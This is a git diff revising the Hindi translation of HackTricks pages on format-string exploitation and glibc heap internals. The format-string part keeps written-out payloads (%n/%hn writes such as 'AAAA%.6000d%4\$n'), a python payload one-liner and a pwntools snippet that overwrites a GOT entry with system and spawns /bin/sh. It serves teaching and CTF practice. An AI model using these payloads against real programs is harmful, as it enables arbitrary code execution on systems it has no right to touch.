@@ -136,26 +137,26 @@ p.close() फॉर्मेटर **`%$n`** **लिखता** है **लिखे गए बाइट्स की संख्या** को **संकेतित पते** में \ पैरामीटर में स्टैक में। यदि एक हमलावर printf के साथ जितने भी अक्षर लिख सकता है, वह **`%$n`** को एक मनमाना संख्या को एक मनमाने पते पर लिखने में सक्षम होगा। -भाग्यवश, संख्या 9999 लिखने के लिए, इनपुट में 9999 "A"s जोड़ना आवश्यक नहीं है, इसलिए ऐसा करने के लिए फॉर्मेटर **`%.%$n`** का उपयोग करके संख्या **``** को **`num` स्थिति द्वारा इंगित पते** में लिखा जा सकता है। +भाग्यवश, संख्या 9999 लिखने के लिए, इनपुट में 9999 "A"s जोड़ना आवश्यक नहीं है, इसके लिए फॉर्मेटर **`%.%$n`** का उपयोग करके संख्या **``** को **`num` स्थिति द्वारा इंगित पते** में लिखा जा सकता है। ```bash AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` -हालांकि, ध्यान दें कि आमतौर पर एक पता जैसे `0x08049724` (जो एक बार में लिखने के लिए एक HUGE संख्या है) लिखने के लिए, **`$hn`** का उपयोग किया जाता है बजाय **`$n`** के। यह **केवल 2 Bytes** लिखने की अनुमति देता है। इसलिए, यह ऑपरेशन दो बार किया जाता है, एक बार पते के उच्चतम 2B के लिए और दूसरी बार निम्नतम के लिए। +हालांकि, ध्यान दें कि आमतौर पर एक पता जैसे `0x08049724` (जो एक HUGE संख्या है जिसे एक बार में लिखना है) लिखने के लिए, **`$hn`** का उपयोग किया जाता है बजाय **`$n`** के। यह **केवल 2 Bytes** लिखने की अनुमति देता है। इसलिए यह ऑपरेशन दो बार किया जाता है, एक बार पते के उच्चतम 2B के लिए और दूसरी बार निम्नतम के लिए। इसलिए, यह भेद्यता **किसी भी पते में कुछ भी लिखने की अनुमति देती है (मनमाना लेखन)।** -इस उदाहरण में, लक्ष्य यह होगा कि **एक फ़ंक्शन** के **पते** को **ओवरराइट** किया जाए जो बाद में **GOT** तालिका में कॉल किया जाएगा। हालांकि, यह अन्य मनमाने लेखन को exec तकनीकों का दुरुपयोग कर सकता है: +इस उदाहरण में, लक्ष्य यह होगा कि **एक फ़ंक्शन** के **पते** को **ओवरराइट** किया जाए जो बाद में कॉल किया जाएगा। हालांकि, यह अन्य मनमाने लेखन को exec तकनीकों का दुरुपयोग कर सकता है: {{#ref}} ../arbitrary-write-2-exec/ {{#endref}} -हम एक **फ़ंक्शन** को **ओवरराइट** करने जा रहे हैं जो **उपयोगकर्ता** से अपने **आर्गुमेंट्स** को **प्राप्त** करता है और इसे **`system`** **फ़ंक्शन** की ओर **इशारा** करता है।\ +हम एक **फ़ंक्शन** को **ओवरराइट** करने जा रहे हैं जो **उपयोगकर्ता** से अपने **आर्गुमेंट्स** **प्राप्त** करता है और इसे **`system`** **फ़ंक्शन** की ओर **इशारा** करता है।\ जैसा कि उल्लेख किया गया है, पते को लिखने के लिए आमतौर पर 2 चरणों की आवश्यकता होती है: आप **पहले 2Bytes** का पता लिखते हैं और फिर अन्य 2। ऐसा करने के लिए **`$hn`** का उपयोग किया जाता है। -- **HOB** को पते के 2 उच्चतम बाइट्स के लिए कॉल किया जाता है -- **LOB** को पते के 2 निम्नतम बाइट्स के लिए कॉल किया जाता है +- **HOB** को पते के 2 उच्चतम बाइट्स के लिए कहा जाता है +- **LOB** को पते के 2 निम्नतम बाइट्स के लिए कहा जाता है फिर, फ़ॉर्मेट स्ट्रिंग के काम करने के तरीके के कारण, आपको **पहले सबसे छोटे** \[HOB, LOB] को लिखना होगा और फिर दूसरे को। @@ -173,11 +174,12 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + " आप इस प्रकार की कमजोरियों के लिए एक **टेम्पलेट** तैयार करने के लिए पा सकते हैं: + {{#ref}} format-strings-template.md {{#endref}} -या इस बुनियादी उदाहरण को [**यहां**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) से: +या [**यहां**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) से यह बुनियादी उदाहरण: ```python from pwn import * @@ -196,20 +198,20 @@ p.sendline('/bin/sh') p.interactive() ``` -## फ़ॉर्मेट स्ट्रिंग्स से BOF +## Format Strings to BOF -एक फ़ॉर्मेट स्ट्रिंग भेद्यता की लिखने की क्रियाओं का दुरुपयोग करके **स्टैक के पते में लिखना** और **बफर ओवरफ्लो** प्रकार की भेद्यता का शोषण करना संभव है। +यह संभव है कि एक फॉर्मेट स्ट्रिंग वल्नरेबिलिटी के लिखने की क्रियाओं का दुरुपयोग करके **स्टैक के पते में लिखें** और **बफर ओवरफ्लो** प्रकार की वल्नरेबिलिटी का शोषण करें। -## अन्य उदाहरण और संदर्भ +## Other Examples & References - [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string) - [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) - [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak) - [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html) -- 32 बिट, कोई relro नहीं, कोई canary नहीं, nx, कोई pie नहीं, स्टैक से ध्वज लीक करने के लिए फ़ॉर्मेट स्ट्रिंग्स का बुनियादी उपयोग (कार्य निष्पादन प्रवाह को बदलने की आवश्यकता नहीं) +- 32 बिट, कोई रिलरो, कोई कैनरी, nx, कोई पाई, स्टैक से फ्लैग लीक करने के लिए फॉर्मेट स्ट्रिंग्स का बुनियादी उपयोग (कार्य निष्पादन प्रवाह को बदलने की आवश्यकता नहीं) - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) -- 32 बिट, relro, कोई canary नहीं, nx, कोई pie नहीं, फ़ॉर्मेट स्ट्रिंग `fflush` के पते को जीतने के कार्य के साथ ओवरराइट करने के लिए (ret2win) +- 32 बिट, रिलरो, कोई कैनरी, nx, कोई पाई, `fflush` के पते को विन फ़ंक्शन (ret2win) के साथ ओवरराइट करने के लिए फॉर्मेट स्ट्रिंग - [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html) -- 32 बिट, relro, कोई canary नहीं, nx, कोई pie नहीं, फ़ॉर्मेट स्ट्रिंग `.fini_array` में मुख्य के अंदर एक पते को लिखने के लिए (ताकि प्रवाह एक और बार लूप हो) और GOT तालिका में `system` के पते को `strlen` की ओर इंगित करने के लिए लिखें। जब प्रवाह मुख्य में वापस जाता है, तो `strlen` उपयोगकर्ता इनपुट के साथ निष्पादित होता है और `system` की ओर इंगित करता है, यह पास किए गए आदेशों को निष्पादित करेगा। +- 32 बिट, रिलरो, कोई कैनरी, nx, कोई पाई, `.fini_array` में मुख्य के अंदर एक पते को लिखने के लिए फॉर्मेट स्ट्रिंग (ताकि प्रवाह एक बार और लूप हो) और `system` के पते को GOT तालिका में लिखें जो `strlen` की ओर इशारा करता है। जब प्रवाह मुख्य में वापस जाता है, `strlen` उपयोगकर्ता इनपुट के साथ निष्पादित होता है और `system` की ओर इशारा करता है, यह पास किए गए कमांड को निष्पादित करेगा। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/README.md b/src/binary-exploitation/libc-heap/README.md index 9b0f549c3..4ac8a44f8 100644 --- a/src/binary-exploitation/libc-heap/README.md +++ b/src/binary-exploitation/libc-heap/README.md @@ -4,7 +4,7 @@ ## Heap Basics -हीप मूल रूप से वह स्थान है जहाँ एक प्रोग्राम डेटा को स्टोर कर सकेगा जब यह डेटा को **`malloc`**, `calloc`... जैसी फ़ंक्शंस को कॉल करके अनुरोध करता है। इसके अलावा, जब इस मेमोरी की अब आवश्यकता नहीं होती है, तो इसे **`free`** फ़ंक्शन को कॉल करके उपलब्ध कराया जाता है। +हीप मूल रूप से वह स्थान है जहाँ एक प्रोग्राम डेटा को स्टोर कर सकेगा जब वह **`malloc`**, `calloc`... जैसी फ़ंक्शंस को कॉल करके डेटा का अनुरोध करता है। इसके अलावा, जब इस मेमोरी की अब आवश्यकता नहीं होती है, तो इसे **`free`** फ़ंक्शन को कॉल करके उपलब्ध कराया जाता है। जैसा कि दिखाया गया है, यह मेमोरी में बाइनरी लोड होने के ठीक बाद है (चेक करें `[heap]` सेक्शन): @@ -12,11 +12,11 @@ ### Basic Chunk Allocation -जब कुछ डेटा को हीप में स्टोर करने के लिए अनुरोध किया जाता है, तो इसके लिए हीप का कुछ स्थान आवंटित किया जाता है। यह स्थान एक बिन का होगा और केवल अनुरोधित डेटा + बिन हेडर का स्थान + न्यूनतम बिन आकार ऑफसेट चंक के लिए आरक्षित होगा। लक्ष्य यह है कि जितनी संभव हो उतनी न्यूनतम मेमोरी आरक्षित की जाए बिना यह जटिल किए कि प्रत्येक चंक कहाँ है। इसके लिए, मेटाडेटा चंक जानकारी का उपयोग किया जाता है यह जानने के लिए कि प्रत्येक उपयोग की गई/फ्री चंक कहाँ है। +जब कुछ डेटा को हीप में स्टोर करने के लिए अनुरोध किया जाता है, तो इसके लिए हीप का कुछ स्थान आवंटित किया जाता है। यह स्थान एक बिन का होगा और केवल अनुरोधित डेटा + बिन हेडर का स्थान + न्यूनतम बिन आकार ऑफसेट चंक के लिए आरक्षित होगा। लक्ष्य यह है कि न्यूनतम मेमोरी को आरक्षित किया जाए बिना यह जटिल किए कि प्रत्येक चंक कहाँ है। इसके लिए, मेटाडेटा चंक जानकारी का उपयोग किया जाता है यह जानने के लिए कि प्रत्येक उपयोग की गई/फ्री चंक कहाँ है। स्थान आरक्षित करने के विभिन्न तरीके हैं, मुख्य रूप से उपयोग किए गए बिन पर निर्भर करते हैं, लेकिन एक सामान्य कार्यप्रणाली निम्नलिखित है: -- प्रोग्राम एक निश्चित मात्रा में मेमोरी के लिए अनुरोध करता है। +- प्रोग्राम एक निश्चित मात्रा में मेमोरी का अनुरोध करके शुरू होता है। - यदि चंक्स की सूची में कोई उपलब्ध बड़ा चंक है जो अनुरोध को पूरा कर सकता है, तो इसका उपयोग किया जाएगा। - इसका मतलब यह भी हो सकता है कि उपलब्ध चंक का एक भाग इस अनुरोध के लिए उपयोग किया जाएगा और बाकी चंक्स की सूची में जोड़ा जाएगा। - यदि सूची में कोई उपलब्ध चंक नहीं है लेकिन आवंटित हीप मेमोरी में अभी भी स्थान है, तो हीप प्रबंधक एक नया चंक बनाता है। @@ -29,9 +29,9 @@ **मल्टीथ्रेडेड** अनुप्रयोगों में, हीप प्रबंधक को **रेस कंडीशंस** से बचना चाहिए जो क्रैश का कारण बन सकती हैं। प्रारंभ में, यह एक **वैश्विक म्यूटेक्स** का उपयोग करके किया गया था ताकि यह सुनिश्चित किया जा सके कि केवल एक थ्रेड एक समय में हीप तक पहुँच सकता है, लेकिन इससे म्यूटेक्स-प्रेरित बाधा के कारण **प्रदर्शन समस्याएँ** उत्पन्न हुईं। -इसका समाधान करने के लिए, ptmalloc2 हीप आवंटक ने "एरेनास" पेश किए, जहाँ **प्रत्येक एरेना** एक **अलग हीप** के रूप में कार्य करता है जिसमें इसके **अपने** डेटा **संरचनाएँ** और **म्यूटेक्स** होते हैं, जिससे कई थ्रेड बिना एक-दूसरे में हस्तक्षेप किए हीप ऑपरेशंस कर सकते हैं, जब तक कि वे विभिन्न एरेनास का उपयोग करते हैं। +इसका समाधान करने के लिए, ptmalloc2 हीप आवंटक ने "एरेनास" पेश किए, जहाँ **प्रत्येक एरेना** एक **अलग हीप** के रूप में कार्य करता है जिसमें इसके **अपने** डेटा **संरचनाएँ** और **म्यूटेक्स** होते हैं, जिससे कई थ्रेड बिना एक-दूसरे में हस्तक्षेप किए हीप ऑपरेशन कर सकते हैं, जब तक कि वे अलग-अलग एरेनास का उपयोग करते हैं। -डिफ़ॉल्ट "मुख्य" एरेना एकल-थ्रेडेड अनुप्रयोगों के लिए हीप ऑपरेशंस को संभालता है। जब **नए थ्रेड** जोड़े जाते हैं, तो हीप प्रबंधक उन्हें **माध्यमिक एरेनास** आवंटित करता है ताकि प्रतिस्पर्धा को कम किया जा सके। यह पहले प्रत्येक नए थ्रेड को एक अप्रयुक्त एरेना से जोड़ने का प्रयास करता है, यदि आवश्यक हो तो नए बनाता है, 32-बिट सिस्टम के लिए CPU कोर की संख्या के 2 गुना और 64-बिट सिस्टम के लिए 8 गुना तक। एक बार सीमा पहुँच जाने पर, **थ्रेड्स को एरेनास साझा करना होगा**, जिससे संभावित प्रतिस्पर्धा होती है। +डिफ़ॉल्ट "मुख्य" एरेना एकल-थ्रेडेड अनुप्रयोगों के लिए हीप ऑपरेशंस को संभालता है। जब **नए थ्रेड** जोड़े जाते हैं, तो हीप प्रबंधक उन्हें **माध्यमिक एरेनास** सौंपता है ताकि प्रतिस्पर्धा को कम किया जा सके। यह पहले प्रत्येक नए थ्रेड को एक अप्रयुक्त एरेना से जोड़ने का प्रयास करता है, यदि आवश्यक हो तो नए बनाता है, 32-बिट सिस्टम के लिए CPU कोर की संख्या के 2 गुना और 64-बिट सिस्टम के लिए 8 गुना तक। एक बार सीमा पहुँच जाने पर, **थ्रेड्स को एरेनास साझा करना होगा**, जिससे संभावित प्रतिस्पर्धा हो सकती है। मुख्य एरेना के विपरीत, जो `brk` सिस्टम कॉल का उपयोग करके विस्तारित होता है, माध्यमिक एरेनास "सबहीप्स" बनाते हैं जो `mmap` और `mprotect` का उपयोग करके हीप व्यवहार का अनुकरण करते हैं, जिससे मल्टीथ्रेडेड ऑपरेशंस के लिए मेमोरी प्रबंधन में लचीलापन मिलता है। @@ -43,7 +43,7 @@ - प्रारंभिक हीप प्रोग्राम की बाइनरी के ठीक बाद मेमोरी में स्थित होती है, और यह `sbrk` सिस्टम कॉल का उपयोग करके विस्तारित होती है। - सबहीप्स, जो माध्यमिक एरेनास द्वारा उपयोग किए जाते हैं, `mmap` के माध्यम से बनाए जाते हैं, जो एक निर्दिष्ट मेमोरी क्षेत्र को मैप करता है। 2. **`mmap` के साथ मेमोरी आरक्षण**: -- जब हीप प्रबंधक एक सबहीप बनाता है, तो यह `mmap` के माध्यम से मेमोरी का एक बड़ा ब्लॉक आरक्षित करता है। यह आरक्षण तुरंत मेमोरी आवंटित नहीं करता है; यह बस एक क्षेत्र को निर्दिष्ट करता है जिसका उपयोग अन्य सिस्टम प्रक्रियाओं या आवंटनों द्वारा नहीं किया जाना चाहिए। +- जब हीप प्रबंधक एक सबहीप बनाता है, तो यह `mmap` के माध्यम से मेमोरी का एक बड़ा ब्लॉक आरक्षित करता है। यह आरक्षण तुरंत मेमोरी आवंटित नहीं करता है; यह बस एक क्षेत्र को निर्दिष्ट करता है जिसे अन्य सिस्टम प्रक्रियाओं या आवंटनों का उपयोग नहीं करना चाहिए। - डिफ़ॉल्ट रूप से, 32-बिट प्रक्रियाओं के लिए सबहीप के लिए आरक्षित आकार 1 MB और 64-बिट प्रक्रियाओं के लिए 64 MB है। 3. **`mprotect` के साथ क्रमिक विस्तार**: - आरक्षित मेमोरी क्षेत्र को प्रारंभ में `PROT_NONE` के रूप में चिह्नित किया जाता है, यह संकेत करते हुए कि कर्नेल को अभी इस स्थान के लिए भौतिक मेमोरी आवंटित करने की आवश्यकता नहीं है। @@ -52,7 +52,7 @@ ### heap_info -यह स्ट्रक्चर हीप की प्रासंगिक जानकारी आवंटित करता है। इसके अलावा, अधिक आवंटनों के बाद हीप मेमोरी निरंतर नहीं हो सकती है, यह स्ट्रक्चर उस जानकारी को भी स्टोर करेगा। +यह स्ट्रक्चर हीप की प्रासंगिक जानकारी आवंटित करता है। इसके अलावा, हीप मेमोरी अधिक आवंटनों के बाद निरंतर नहीं हो सकती है, यह स्ट्रक्चर उस जानकारी को भी स्टोर करेगा। ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837 @@ -72,9 +72,9 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK]; ``` ### malloc_state -**प्रत्येक हीप** (मुख्य एरेना या अन्य थ्रेड्स एरेना) में एक **`malloc_state` संरचना है।**\ -यह ध्यान रखना महत्वपूर्ण है कि **मुख्य एरेना `malloc_state`** संरचना एक **वैश्विक चर है libc में** (इसलिए libc मेमोरी स्पेस में स्थित है)।\ -**थ्रेड्स के हीप के `malloc_state`** संरचनाओं के मामले में, वे **अपने स्वयं के थ्रेड "हीप" के अंदर** स्थित हैं। +**प्रत्येक हीप** (मुख्य एरेना या अन्य थ्रेड्स एरेना) के पास एक **`malloc_state` संरचना है।**\ +यह ध्यान रखना महत्वपूर्ण है कि **मुख्य एरेना `malloc_state`** संरचना **libc में एक वैश्विक चर है** (इसलिए libc मेमोरी स्पेस में स्थित है)।\ +थ्रेड्स के हीप के **`malloc_state`** संरचनाओं के मामले में, वे **अपने स्वयं के थ्रेड "हीप" के अंदर** स्थित हैं। इस संरचना से कुछ दिलचस्प बातें नोट करने के लिए हैं (नीचे C कोड देखें): @@ -90,8 +90,8 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK]; #define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT) ``` -- `mchunkptr bins[NBINS * 2 - 2];` में **छोटे, बड़े और असंरचित **बिन्स** के **पहले और अंतिम चंक्स** के लिए **पॉइंटर्स** होते हैं (यह -2 इसलिए है क्योंकि इंडेक्स 0 का उपयोग नहीं किया जाता) -- इसलिए, इन बिन्स का **पहला चंक** इस संरचना के लिए एक **पीछे की ओर पॉइंटर** होगा और इन बिन्स का **अंतिम चंक** इस संरचना के लिए एक **आगे की ओर पॉइंटर** होगा। जिसका मतलब है कि यदि आप **मुख्य एरेना में इन पते को लीक कर सकते हैं** तो आपके पास **libc** में संरचना के लिए एक पॉइंटर होगा। +- `mchunkptr bins[NBINS * 2 - 2];` में **छोटे, बड़े और असंरचित **bins** के **पहले और अंतिम चंक्स** के लिए **पॉइंटर्स** होते हैं (यह -2 इसलिए है क्योंकि इंडेक्स 0 का उपयोग नहीं किया जाता) +- इसलिए, इन बिन्स का **पहला चंक** इस संरचना के लिए **पीछे की ओर पॉइंटर** होगा और इन बिन्स का **अंतिम चंक** इस संरचना के लिए **आगे की ओर पॉइंटर** होगा। जिसका मतलब है कि यदि आप मुख्य एरेना में **इन पते को लीक** कर सकते हैं तो आपके पास **libc** में संरचना के लिए एक पॉइंटर होगा। - संरचनाएँ `struct malloc_state *next;` और `struct malloc_state *next_free;` एरेनास के लिंक्ड लिस्ट हैं - `top` चंक अंतिम "चंक" है, जो मूल रूप से **सभी हीप शेष स्थान** है। एक बार जब शीर्ष चंक "खाली" हो जाता है, तो हीप पूरी तरह से उपयोग किया जाता है और इसे अधिक स्थान का अनुरोध करने की आवश्यकता होती है। - `last reminder` चंक उन मामलों से आता है जहां एक सटीक आकार का चंक उपलब्ध नहीं है और इसलिए एक बड़ा चंक विभाजित किया जाता है, एक पॉइंटर शेष भाग यहां रखा जाता है। @@ -169,14 +169,14 @@ typedef struct malloc_chunk* mchunkptr; - `M`: यदि 1 है, तो यह चंक mmap के साथ आवंटित स्थान का हिस्सा है और हीप का हिस्सा नहीं है - `P`: यदि 1 है, तो पिछले चंक का उपयोग हो रहा है -फिर, उपयोगकर्ता डेटा के लिए स्थान, और अंत में 0x08B यह दर्शाने के लिए कि पिछले चंक का आकार कब उपलब्ध है (या जब इसे आवंटित किया जाता है तो उपयोगकर्ता डेटा को संग्रहीत करने के लिए)। +फिर, उपयोगकर्ता डेटा के लिए स्थान, और अंत में 0x08B यह दर्शाने के लिए कि पिछले चंक का आकार कब उपलब्ध है (या जब इसे आवंटित किया गया है तो उपयोगकर्ता डेटा को संग्रहीत करने के लिए)। इसके अलावा, जब उपलब्ध होता है, तो उपयोगकर्ता डेटा में कुछ डेटा भी शामिल होता है: -- **`fd`**: अगले चंक का पॉइंटर -- **`bk`**: पिछले चंक का पॉइंटर -- **`fd_nextsize`**: सूची में पहला चंक जिसका आकार स्वयं से छोटा है -- **`bk_nextsize`:** सूची में पहला चंक जिसका आकार स्वयं से बड़ा है +- **`fd`**: अगले चंक की ओर इशारा करने वाला पॉइंटर +- **`bk`**: पिछले चंक की ओर इशारा करने वाला पॉइंटर +- **`fd_nextsize`**: सूची में पहला चंक जो अपने से छोटा है की ओर इशारा करने वाला पॉइंटर +- **`bk_nextsize`:** सूची में पहला चंक जो अपने से बड़ा है की ओर इशारा करने वाला पॉइंटर

https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png

@@ -185,7 +185,7 @@ typedef struct malloc_chunk* mchunkptr; ### चंक पॉइंटर्स -जब malloc का उपयोग किया जाता है, तो उस सामग्री का पॉइंटर लौटाया जाता है जिसे लिखा जा सकता है (हेडर के ठीक बाद), हालाँकि, चंक्स का प्रबंधन करते समय, हेडर (मेटाडेटा) की शुरुआत के लिए एक पॉइंटर की आवश्यकता होती है।\ +जब malloc का उपयोग किया जाता है, तो उस सामग्री का एक पॉइंटर लौटाया जाता है जिसे लिखा जा सकता है (हेडर के ठीक बाद), हालाँकि, चंक्स का प्रबंधन करते समय, हेडर (मेटाडेटा) की शुरुआत की ओर एक पॉइंटर की आवश्यकता होती है।\ इन परिवर्तनों के लिए ये फ़ंक्शन उपयोग किए जाते हैं: ```c // https://github.com/bminor/glibc/blob/master/malloc/malloc.c @@ -267,7 +267,7 @@ return request2size (req); ये फ़ंक्शन एक चंक के लिए एक पॉइंटर प्राप्त करके काम करते हैं और मेटाडेटा की जांच/सेट करने के लिए उपयोगी होते हैं: -- चंक फ्लैग की जांच करें +- चंक फ़्लैग की जांच करें ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c @@ -417,7 +417,7 @@ strcpy(ptr, "panda"); यह देखना संभव है कि स्ट्रिंग panda `0xaaaaaaac12a0` पर संग्रहीत की गई थी (जो कि `x0` के अंदर malloc द्वारा दी गई प्रतिक्रिया के रूप में दिया गया पता था)। 0x10 बाइट्स पहले की जांच करने पर यह देखा जा सकता है कि `0x0` दर्शाता है कि **पिछला चंक उपयोग में नहीं है** (लंबाई 0) और इस चंक की लंबाई `0x21` है। -अतिरिक्त आरक्षित स्थान (0x21-0x10=0x11) **जोड़े गए हेडर** (0x10) से आता है और 0x1 का मतलब यह नहीं है कि इसे 0x21B के लिए आरक्षित किया गया था, बल्कि वर्तमान हेडेड की लंबाई के अंतिम 3 बिट्स का कुछ विशेष अर्थ है। चूंकि लंबाई हमेशा 16-बाइट संरेखित होती है (64-बिट मशीनों में), ये बिट्स वास्तव में लंबाई संख्या द्वारा कभी उपयोग नहीं किए जाएंगे। +आरक्षित अतिरिक्त स्थान (0x21-0x10=0x11) **जोड़े गए हेडर** (0x10) से आता है और 0x1 का मतलब यह नहीं है कि इसे 0x21B के लिए आरक्षित किया गया था, बल्कि वर्तमान हेडेड की लंबाई के अंतिम 3 बिट्स का कुछ विशेष अर्थ है। चूंकि लंबाई हमेशा 16-बाइट संरेखित होती है (64-बिट मशीनों में), ये बिट्स वास्तव में लंबाई संख्या द्वारा कभी उपयोग नहीं किए जाएंगे। ``` 0x1: Previous in Use - Specifies that the chunk before it in memory is in use 0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap() @@ -487,6 +487,7 @@ return 0; जांचें कि बिन क्या हैं और उन्हें कैसे व्यवस्थित किया गया है और मेमोरी कैसे आवंटित और मुक्त की जाती है: + {{#ref}} bins-and-memory-allocations.md {{#endref}} @@ -495,6 +496,7 @@ bins-and-memory-allocations.md हीप में शामिल फ़ंक्शन अपने कार्यों को करने से पहले कुछ जांच करेंगे ताकि यह सुनिश्चित किया जा सके कि हीप भ्रष्ट नहीं हुआ है: + {{#ref}} heap-memory-functions/heap-functions-security-checks.md {{#endref}} diff --git a/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md b/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md index c64b14d3f..51ff23a00 100644 --- a/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md +++ b/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md @@ -1,27 +1,27 @@ -# बिन और मेमोरी आवंटन +# Bins & Memory Allocations {{#include ../../banners/hacktricks-training.md}} -## बुनियादी जानकारी +## Basic Information -चंक्स को स्टोर करने की दक्षता को सुधारने के लिए, हर चंक केवल एक लिंक्ड लिस्ट में नहीं होता, बल्कि कई प्रकार होते हैं। ये बिन हैं और 5 प्रकार के बिन हैं: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) छोटे बिन, 63 बड़े बिन, 1 असॉर्टेड बिन, 10 फास्ट बिन और 64 टीकैश बिन प्रति थ्रेड। +चंक्स को स्टोर करने की दक्षता को सुधारने के लिए, हर चंक केवल एक लिंक्ड लिस्ट में नहीं होता, बल्कि कई प्रकार होते हैं। ये बिन्स हैं और 5 प्रकार के बिन्स हैं: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) छोटे बिन्स, 63 बड़े बिन्स, 1 अनसॉर्टेड बिन, 10 फास्ट बिन्स और 64 टीकैश बिन्स प्रति थ्रेड। -प्रत्येक असॉर्टेड, छोटे और बड़े बिन के लिए प्रारंभिक पता उसी ऐरे के अंदर होता है। इंडेक्स 0 अनुपयोगी है, 1 असॉर्टेड बिन है, बिन 2-64 छोटे बिन हैं और बिन 65-127 बड़े बिन हैं। +प्रत्येक अनसॉर्टेड, छोटे और बड़े बिन्स का प्रारंभिक पता उसी ऐरे के अंदर होता है। इंडेक्स 0 का उपयोग नहीं होता, 1 अनसॉर्टेड बिन है, बिन्स 2-64 छोटे बिन्स हैं और बिन्स 65-127 बड़े बिन्स हैं। -### टीकैश (प्रति-थ्रेड कैश) बिन +### Tcache (Per-Thread Cache) Bins -हालांकि थ्रेड अपने खुद के हीप (देखें [एरेनास](bins-and-memory-allocations.md#arenas) और [सबहीप्स](bins-and-memory-allocations.md#subheaps)) रखने की कोशिश करते हैं, एक प्रक्रिया जिसमें बहुत सारे थ्रेड होते हैं (जैसे एक वेब सर्वर) **दूसरे थ्रेड के साथ हीप साझा करने की संभावना होती है**। इस मामले में, मुख्य समाधान **लॉकर** का उपयोग है, जो **थ्रेड्स को महत्वपूर्ण रूप से धीमा कर सकता है**। +हालांकि थ्रेड्स अपनी खुद की हीप रखने की कोशिश करते हैं (देखें [Arenas](bins-and-memory-allocations.md#arenas) और [Subheaps](bins-and-memory-allocations.md#subheaps)), यह संभावना है कि बहुत सारे थ्रेड्स वाला एक प्रोसेस (जैसे एक वेब सर्वर) **दूसरे थ्रेड्स के साथ हीप साझा करेगा**। इस मामले में, मुख्य समाधान **लॉकर** का उपयोग है, जो **थ्रेड्स को महत्वपूर्ण रूप से धीमा कर सकता है**। -इसलिए, एक टीकैश एक फास्ट बिन की तरह है प्रति थ्रेड इस तरह से कि यह एक **सिंगल लिंक्ड लिस्ट** है जो चंक्स को मर्ज नहीं करता। प्रत्येक थ्रेड के पास **64 सिंगली-लिंक्ड टीकैश बिन** होते हैं। प्रत्येक बिन में अधिकतम [7 समान आकार के चंक्स](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) हो सकते हैं जो [64-बिट सिस्टम पर 24 से 1032B और 32-बिट सिस्टम पर 12 से 516B](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315) के बीच होते हैं। +इसलिए, एक टीकैश एक फास्ट बिन की तरह होता है प्रति थ्रेड इस तरह से कि यह एक **सिंगल लिंक्ड लिस्ट** है जो चंक्स को मर्ज नहीं करता। प्रत्येक थ्रेड के पास **64 सिंगली-लिंक्ड टीकैश बिन्स** होते हैं। प्रत्येक बिन में अधिकतम [7 समान आकार के चंक्स](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) हो सकते हैं जो [64-बिट सिस्टम पर 24 से 1032B और 32-बिट सिस्टम पर 12 से 516B](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315) के बीच होते हैं। -**जब एक थ्रेड** एक चंक को फ्री करता है, **यदि यह टीकैश में आवंटित करने के लिए बहुत बड़ा नहीं है** और संबंधित टीकैश बिन **भरा नहीं है** (पहले से 7 चंक्स), **तो इसे वहां आवंटित किया जाएगा**। यदि यह टीकैश में नहीं जा सकता, तो इसे फ्री ऑपरेशन को वैश्विक रूप से करने के लिए हीप लॉक का इंतजार करना होगा। +**जब एक थ्रेड** एक चंक को फ्री करता है, **यदि यह टीकैश में आवंटित करने के लिए बहुत बड़ा नहीं है** और संबंधित टीकैश बिन **भरा नहीं है** (पहले से 7 चंक्स), **तो इसे वहां आवंटित किया जाएगा**। यदि यह टीकैश में नहीं जा सकता, तो इसे 